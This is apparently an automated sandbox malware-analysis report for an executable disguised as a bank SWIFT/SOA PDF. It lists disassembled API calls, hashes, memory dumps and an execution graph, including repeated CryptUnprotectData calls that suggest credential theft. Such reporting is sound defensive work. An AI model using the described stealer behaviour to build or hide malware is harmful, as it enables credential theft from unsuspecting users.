                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: CharPrevlstrcatlstrlen
                                                                                                            • String ID: C:\Users\user\AppData\Local\Temp\
                                                                                                            • API String ID: 2659869361-823278215
                                                                                                            • Opcode ID: ff6b15c2f5550a5b1ad39c2dabef59c5d9ab40b11c2ea079a8f7966cac1aab2f
                                                                                                            • Instruction ID: 6247f5a3c9563be90945cd41d23768fa590745b080056b24a315d5606c671452
                                                                                                            • Opcode Fuzzy Hash: ff6b15c2f5550a5b1ad39c2dabef59c5d9ab40b11c2ea079a8f7966cac1aab2f
                                                                                                            • Instruction Fuzzy Hash: E5D05E21101921AAC21277448C04DDF669CEE45300384002AF200B20A2CB7C1D518BFD
                                                                                                            APIs
                                                                                                            • GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 00401F17
                                                                                                            • GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401F39
                                                                                                            • GetFileVersionInfoW.VERSION(?,?,00000000,00000000), ref: 00401F50
                                                                                                            • VerQueryValueW.VERSION(?,00409014,?,?,?,?,00000000,00000000), ref: 00401F69
                                                                                                              • Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
                                                                                                            • String ID:
                                                                                                            • API String ID: 1404258612-0
                                                                                                            • Opcode ID: 0759821644e88925b44a7e9fb1563554894f113fe06b33f49c2a0c28299a5465
                                                                                                            • Instruction ID: 0d64a3d5d22a86ce83a9b45ae5cd800923300da454a86426803db7941f711343
                                                                                                            • Opcode Fuzzy Hash: 0759821644e88925b44a7e9fb1563554894f113fe06b33f49c2a0c28299a5465
                                                                                                            • Instruction Fuzzy Hash: 76113675A00208AFDB00DFA5C945DAEBBB9EF04344F20407AF905F62A1D7349E50CB68
                                                                                                            APIs
                                                                                                            • FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,75922EE0,004037F6,75923420,00403621,?), ref: 00403839
                                                                                                            • GlobalFree.KERNEL32(?), ref: 00403840
                                                                                                            Strings
                                                                                                            • C:\Users\user\AppData\Local\Temp\, xrefs: 00403831
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Free$GlobalLibrary
                                                                                                            • String ID: C:\Users\user\AppData\Local\Temp\
                                                                                                            • API String ID: 1100898210-823278215
                                                                                                            • Opcode ID: 25d95e5d869358f2c737a5aedab69329feae714e5110f3e95756ca8a51977f9e
                                                                                                            • Instruction ID: bf490ea997193b46d556285b385326fb3516ec302950e4cd11f154ac4515a356
                                                                                                            • Opcode Fuzzy Hash: 25d95e5d869358f2c737a5aedab69329feae714e5110f3e95756ca8a51977f9e
                                                                                                            • Instruction Fuzzy Hash: F9E0C23394102057C7216F15ED04B1ABBE86F89B22F018476F9407B7A283746C528BED
                                                                                                            APIs
                                                                                                            • lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402E28,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe,C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe,80000000,00000003), ref: 00405987
                                                                                                            • CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402E28,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe,C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe,80000000,00000003), ref: 00405997
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: CharPrevlstrlen
                                                                                                            • String ID: C:\Users\user\Desktop
                                                                                                            • API String ID: 2709904686-1246513382
                                                                                                            • Opcode ID: 5322967536e1a0efddda02766e650d0d94df305eef9f06c9ed47c97fde570a53
                                                                                                            • Instruction ID: e5431d3d33a146c3150d202dfaa2e9e12a1dec100281116c20088c3141bfb115
                                                                                                            • Opcode Fuzzy Hash: 5322967536e1a0efddda02766e650d0d94df305eef9f06c9ed47c97fde570a53
                                                                                                            • Instruction Fuzzy Hash: C6D05EA2414920DED3226704DC44AAFA3ACEF113107894466F901E61A5D7785C808AFD
                                                                                                            APIs
                                                                                                              • Part of subcall function 10001243: lstrcpyW.KERNEL32(00000000,?,?,?,10001534,?,10001020,10001019,00000001), ref: 10001260
                                                                                                              • Part of subcall function 10001243: GlobalFree.KERNEL32 ref: 10001271
                                                                                                            • GlobalAlloc.KERNEL32(00000040,?), ref: 1000116A
                                                                                                            • GlobalFree.KERNEL32(00000000), ref: 100011C7
                                                                                                            • GlobalFree.KERNEL32(00000000), ref: 100011D9
                                                                                                            • GlobalFree.KERNEL32(?), ref: 10001203
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2522825537.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2522813356.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2522838191.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2522859105.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_10000000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Global$Free$Alloclstrcpy
                                                                                                            • String ID:
                                                                                                            • API String ID: 852173138-0
                                                                                                            • Opcode ID: a36c3baa5ea934aaf830980c9406ed3c53712f48e27dcab7b4d6d185e039dd99
                                                                                                            • Instruction ID: c8ae98bcc35e74d2b72c58860f7bdf59a74f39180ec1ffd54fa0f92d9f30571b
                                                                                                            • Opcode Fuzzy Hash: a36c3baa5ea934aaf830980c9406ed3c53712f48e27dcab7b4d6d185e039dd99
                                                                                                            • Instruction Fuzzy Hash: 5E3190F6904211AFF314CF64DC859EA77E8EB853D0B124529FB41E726CEB34E8018765
                                                                                                            APIs
                                                                                                            • lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405ACB
                                                                                                            • lstrcmpiA.KERNEL32(00405CF5,00000000), ref: 00405AE3
                                                                                                            • CharNextA.USER32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AF4
                                                                                                            • lstrlenA.KERNEL32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AFD
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: lstrlen$CharNextlstrcmpi
                                                                                                            • String ID:
                                                                                                            • API String ID: 190613189-0
                                                                                                            • Opcode ID: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
                                                                                                            • Instruction ID: dad0a046b028959ebe33103b56e1cab2fddac0818810981e259aca52f0e6fc56
                                                                                                            • Opcode Fuzzy Hash: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
                                                                                                            • Instruction Fuzzy Hash: 59F06232608558BFC712DFA5DD40D9FBBA8DF06260B2540B6F801F7251D674FE019BA9

                                                                                                            Execution Graph

                                                                                                            Execution Coverage:11.7%
                                                                                                            Dynamic/Decrypted Code Coverage:100%
                                                                                                            Signature Coverage:3.6%
                                                                                                            Total number of Nodes:196
                                                                                                            Total number of Limit Nodes:16
                                                                                                            execution_graph 41221 db158 41222 db174 41221->41222 41227 de470 41222->41227 41223 db1a3 41232 388f23d0 41223->41232 41228 de48c 41227->41228 41238 3787a919 41228->41238 41242 3787a928 41228->41242 41229 de4c2 41229->41223 41233 388f23df 41232->41233 41276 388f0558 41233->41276 41240 3787a94a 41238->41240 41239 3787add9 41239->41229 41240->41239 41246 3787b1e1 41240->41246 41243 3787a94a 41242->41243 41244 3787add9 41243->41244 41245 3787b1e1 CryptUnprotectData 41243->41245 41244->41229 41245->41243 41247 3787b1f0 41246->41247 41251 3787b820 41247->41251 41260 3787b830 41247->41260 41248 3787b260 41248->41240 41252 3787b7d4 41251->41252 41253 3787b82a 41251->41253 41252->41248 41254 3787b909 41253->41254 41257 3787b820 CryptUnprotectData 41253->41257 41258 3787b830 CryptUnprotectData 41253->41258 41268 3787badf 41253->41268 41273 3787b4c0 41254->41273 41257->41254 41258->41254 41261 3787b855 41260->41261 41262 3787b909 41260->41262 41261->41262 41265 3787b820 CryptUnprotectData 41261->41265 41266 3787b830 CryptUnprotectData 41261->41266 41267 3787badf CryptUnprotectData 41261->41267 41263 3787b4c0 CryptUnprotectData 41262->41263 41264 3787bad5 41263->41264 41264->41248 41265->41262 41266->41262 41267->41262 41269 3787baea 41268->41269 41270 3787ba96 41268->41270 41271 3787b4c0 CryptUnprotectData 41270->41271 41272 3787bad5 41271->41272 41272->41254 41274 3787bcc0 CryptUnprotectData 41273->41274 41275 3787bad5 41274->41275 41275->41248 41277 388f0568 41276->41277 41278 388f0585 41277->41278 41284 388f0608 41277->41284 41280 388f161c 41278->41280 41281 388f1627 41280->41281 41304 388f16c4 41281->41304 41283 388f24d6 41283->41283 41285 388f064e GetCurrentProcess 41284->41285 41287 388f0699 41285->41287 41288 388f06a0 GetCurrentThread 41285->41288 41287->41288 41289 388f06dd GetCurrentProcess 41288->41289 41290 388f06d6 41288->41290 41291 388f0713 41289->41291 41290->41289 41295 388f07d7 41291->41295 41293 388f076c 41293->41278 41299 388f0849 41295->41299 41302 388f0850 DuplicateHandle 41295->41302 41296 388f073b GetCurrentThreadId 41296->41293 41300 388f0850 DuplicateHandle 41299->41300 41301 388f08e6 41300->41301 41301->41296 41303 388f08e6 41302->41303 41303->41296 41309 388f16cf 41304->41309 41305 388f2bf9 41306 388f2c29 41305->41306 41307 388f296c 7 API calls 41305->41307 41311 388f2c54 41306->41311 41324 388f296c 41306->41324 41307->41306 41309->41305 41309->41311 41316 388f3fb0 41309->41316 41320 388f3fc0 41309->41320 41310 388f2c41 41310->41311 41330 388fd477 41310->41330 41337 388fd478 41310->41337 41311->41283 41317 388f3fe1 41316->41317 41318 388f4005 41317->41318 41344 388f4170 41317->41344 41318->41305 41321 388f3fe1 41320->41321 41322 388f4005 41321->41322 41323 388f4170 6 API calls 41321->41323 41322->41305 41323->41322 41325 388f2977 41324->41325 41326 388f0558 6 API calls 41325->41326 41329 388fcf11 41325->41329 41327 388fcf2b 41326->41327 41362 388fc3f4 41327->41362 41329->41310 41335 388fd478 41330->41335 41331 388fd709 41332 388f0558 6 API calls 41331->41332 41334 388fd52a 41332->41334 41333 388fd940 WaitMessage 41333->41335 41334->41311 41335->41331 41335->41333 41335->41334 41369 388fc4bc 41335->41369 41339 388fd4dd 41337->41339 41338 388fd52a 41338->41311 41339->41338 41340 388fd709 41339->41340 41342 388fd940 WaitMessage 41339->41342 41343 388fc4bc DispatchMessageW 41339->41343 41341 388f0558 6 API calls 41340->41341 41341->41338 41342->41339 41343->41339 41345 388f417d 41344->41345 41346 388f0558 6 API calls 41345->41346 41347 388f41ab 41346->41347 41348 388f41b6 41347->41348 41350 388f2efc 41347->41350 41348->41318 41351 388f2f07 41350->41351 41353 388f4228 41351->41353 41354 388f2f30 41351->41354 41353->41353 41355 388f2f3b 41354->41355 41358 388f2f40 41355->41358 41357 388f4297 41357->41353 41361 388f2f4b 41358->41361 41359 388f5440 41359->41357 41360 388f3fc0 6 API calls 41360->41359 41361->41359 41361->41360 41364 388fc3ff 41362->41364 41363 388fd22b 41363->41329 41364->41363 41366 388fc410 41364->41366 41367 388fd260 OleInitialize 41366->41367 41368 388fd2c4 41367->41368 41368->41363 41370 388fe568 DispatchMessageW 41369->41370 41371 388fe5d4 41370->41371 41371->41335 41372 dfd98 41373 dfe00 CreateWindowExW 41372->41373 41375 dfebc 41373->41375 41375->41375 41376 ad030 41377 ad048 41376->41377 41378 ad0a2 41377->41378 41382 dff50 41377->41382 41387 388f1870 41377->41387 41397 388f1860 41377->41397 41386 dff76 41382->41386 41383 dff97 41383->41378 41384 388f1860 2 API calls 41384->41383 41385 388f1870 2 API calls 41385->41383 41386->41384 41386->41385 41388 388f189d 41387->41388 41389 388f18d1 41388->41389 41391 388f18c1 41388->41391 41392 388f18cf 41389->41392 41432 388f14e4 41389->41432 41391->41392 41407 388f19f8 41391->41407 41416 388f9ae8 41391->41416 41421 388f9bc4 41391->41421 41427 388f9af8 41391->41427 41392->41392 41398 388f1870 41397->41398 41399 388f18d1 41398->41399 41401 388f18c1 41398->41401 41400 388f14e4 CallWindowProcW 41399->41400 41402 388f18cf 41399->41402 41400->41402 41401->41402 41403 388f19f8 2 API calls 41401->41403 41404 388f9ae8 CallWindowProcW 41401->41404 41405 388f9af8 CallWindowProcW 41401->41405 41406 388f9bc4 CallWindowProcW 41401->41406 41402->41402 41403->41402 41404->41402 41405->41402 41406->41402 41408 388f1a06 41407->41408 41409 388f1a33 41407->41409 41411 388f1a0e 41408->41411 41413 388f14e4 CallWindowProcW 41408->41413 41409->41408 41410 388f1a38 41409->41410 41436 388f1504 41410->41436 41411->41392 41415 388f1a4c 41413->41415 41414 388f1a44 41414->41392 41415->41392 41418 388f9af8 41416->41418 41417 388f9b98 41417->41392 41444 388f9ba2 41418->41444 41447 388f9bb0 41418->41447 41422 388f9b82 41421->41422 41423 388f9bd2 41421->41423 41425 388f9ba2 CallWindowProcW 41422->41425 41426 388f9bb0 CallWindowProcW 41422->41426 41424 388f9b98 41424->41392 41425->41424 41426->41424 41429 388f9b0c 41427->41429 41428 388f9b98 41428->41392 41430 388f9ba2 CallWindowProcW 41429->41430 41431 388f9bb0 CallWindowProcW 41429->41431 41430->41428 41431->41428 41433 388f14ef 41432->41433 41434 388f1afa CallWindowProcW 41433->41434 41435 388f1aa9 41433->41435 41434->41435 41435->41392 41437 388f150f 41436->41437 41440 388f155c 41437->41440 41439 388f1f95 41439->41414 41441 388f1567 41440->41441 41442 388f2101 GetCurrentThreadId 41441->41442 41443 388f212b 41441->41443 41442->41443 41443->41439 41445 388f9bc1 41444->41445 41450 388fad7a 41444->41450 41445->41417 41448 388f9bc1 41447->41448 41449 388fad7a CallWindowProcW 41447->41449 41448->41417 41449->41448 41451 388f14e4 CallWindowProcW 41450->41451 41452 388fad8a 41451->41452 41452->41445 41453 388f1cc0 SetTimer 41454 388f1d2c 41453->41454 41455 388f0460 41456 388f0476 41455->41456 41457 388f0558 6 API calls 41455->41457 41457->41456 41458 388f1d60 41459 388f1d8d 41458->41459 41460 388f1ddc 41459->41460 41462 388f153c 41459->41462 41460->41460 41463 388f1547 41462->41463 41464 388f1504 GetCurrentThreadId 41463->41464 41465 388f1f3c 41464->41465 41465->41460
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3296154085.00000000388F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 388F0000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_388f0000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID: Te]q
                                                                                                            • API String ID: 0-52440209
                                                                                                            • Opcode ID: 68479a8c5cdd3c77022a66deada5f0859e7337091a6f7883cf25bdb407dd4af0
                                                                                                            • Instruction ID: 8059a98b2f435abf55ce75188f1e047fbe65b759ff68c4eed271a188b298d1db
                                                                                                            • Opcode Fuzzy Hash: 68479a8c5cdd3c77022a66deada5f0859e7337091a6f7883cf25bdb407dd4af0
                                                                                                            • Instruction Fuzzy Hash: 1982D474A00218DFDB25DF65C994BADB7B2FF89300F1085AAD90A67365CB319E82CF54
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID: Te]q
                                                                                                            • API String ID: 0-52440209
                                                                                                            • Opcode ID: 06519cba43f4dabc8385c31aca02fb2ac217d76a84a6f9bd7f15b7396d172434
                                                                                                            • Instruction ID: 41554a879359541055da59f25894dc3d1376b32b00daef3b74fea716f04169a4
                                                                                                            • Opcode Fuzzy Hash: 06519cba43f4dabc8385c31aca02fb2ac217d76a84a6f9bd7f15b7396d172434
                                                                                                            • Instruction Fuzzy Hash: 7F72E274A00218DFDB24DF65C994BADB7B6FF89300F1085AAD90A67365CB319E82CF54
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3296154085.00000000388F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 388F0000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_388f0000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: DispatchMessage
                                                                                                            • String ID:
                                                                                                            • API String ID: 2061451462-0
                                                                                                            • Opcode ID: a7c133bfb6a1560be1745a4092884c7ff7bcaba4148dc369c06b3c7a92c5954d
                                                                                                            • Instruction ID: 3bdeab380f54a7a1b6a071c27e99f9f9b8a115e920c5d469e57bf7554a6ec5b9
                                                                                                            • Opcode Fuzzy Hash: a7c133bfb6a1560be1745a4092884c7ff7bcaba4148dc369c06b3c7a92c5954d
                                                                                                            • Instruction Fuzzy Hash: A7F15B74A00309DFEB04DFA9D884B9DBBF2BF48308F158569E508AF265DB75A945CB80
                                                                                                            APIs
                                                                                                            • CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 3787BD25
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295694270.0000000037870000.00000040.00000800.00020000.00000000.sdmp, Offset: 37870000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37870000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: CryptDataUnprotect
                                                                                                            • String ID:
                                                                                                            • API String ID: 834300711-0
                                                                                                            • Opcode ID: 9ec7cf420cc747ad2cb580be7295afc8c69fe63c0b7b8ea1056355a3d20b436d
                                                                                                            • Instruction ID: 87aaab19e15a7278d6ace09d277e69939db45dfced87e1c5446290268bcba4ce
                                                                                                            • Opcode Fuzzy Hash: 9ec7cf420cc747ad2cb580be7295afc8c69fe63c0b7b8ea1056355a3d20b436d
                                                                                                            • Instruction Fuzzy Hash: 8F1156B6800249EFDB10CF99C944BEEBFF5EF58320F148819E518A7210C339A994DFA5
                                                                                                            APIs
                                                                                                            • CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 3787BD25
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295694270.0000000037870000.00000040.00000800.00020000.00000000.sdmp, Offset: 37870000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37870000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: CryptDataUnprotect
                                                                                                            • String ID:
                                                                                                            • API String ID: 834300711-0
                                                                                                            • Opcode ID: bdb94d873df3e8454fa1687a4e0f740d4742f6ca1de2eff4a43aef7a9e903df2
                                                                                                            • Instruction ID: dba5766ccea9f7d42614c4fd17ea1ceb76fadfb425ad9c1efa4f4d253e9862ce
                                                                                                            • Opcode Fuzzy Hash: bdb94d873df3e8454fa1687a4e0f740d4742f6ca1de2eff4a43aef7a9e903df2
                                                                                                            • Instruction Fuzzy Hash: 242167B6800249EFDB10CF99C844BEEBFF5EF48320F148419E659A7210C339A590DFA1
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 80c1d3682a328d922cacd7598902ff791074207a6d07c705a9460a4a25c8772a
                                                                                                            • Instruction ID: b7e7a230aa5654842fc67265c319de1831cf0c04c9f7e532b25764cb1c95098d
                                                                                                            • Opcode Fuzzy Hash: 80c1d3682a328d922cacd7598902ff791074207a6d07c705a9460a4a25c8772a
                                                                                                            • Instruction Fuzzy Hash: 6372BFB4E012298FDB65CF69C980BDDBBB2BB59301F5081EAD409A7355DB34AE81CF50
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295694270.0000000037870000.00000040.00000800.00020000.00000000.sdmp, Offset: 37870000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37870000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 62963d3c0bb623d6c944fd31efffffa3fd5d6f99ce96b9a729ac9072637c37bf
                                                                                                            • Instruction ID: 5d76b0007a44f6aa1fc7684372d8fe596f3060f17bafadf25e846d4834406f1a
                                                                                                            • Opcode Fuzzy Hash: 62963d3c0bb623d6c944fd31efffffa3fd5d6f99ce96b9a729ac9072637c37bf
                                                                                                            • Instruction Fuzzy Hash: E2E1AF74E01218CFEB14DFA9C984B9DBBB2BF89304F2081AAD409B7395DB355A85CF15
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295694270.0000000037870000.00000040.00000800.00020000.00000000.sdmp, Offset: 37870000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37870000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 3eaa4b9b05daabb5a4056a0fb2205ebb67d7b73520e1893cae74295ab0285c49
                                                                                                            • Instruction ID: 6d9234e169edf248f12386fbeaef78dd1305b4238b45466d6991a5b72b2eb1a0
                                                                                                            • Opcode Fuzzy Hash: 3eaa4b9b05daabb5a4056a0fb2205ebb67d7b73520e1893cae74295ab0285c49
                                                                                                            • Instruction Fuzzy Hash: 40C1B274E00258CFDB14DFA5C984B9DBBB2BF89304F1081AAD419AB365DB355E86CF14
                                                                                                            Memory Dump Source
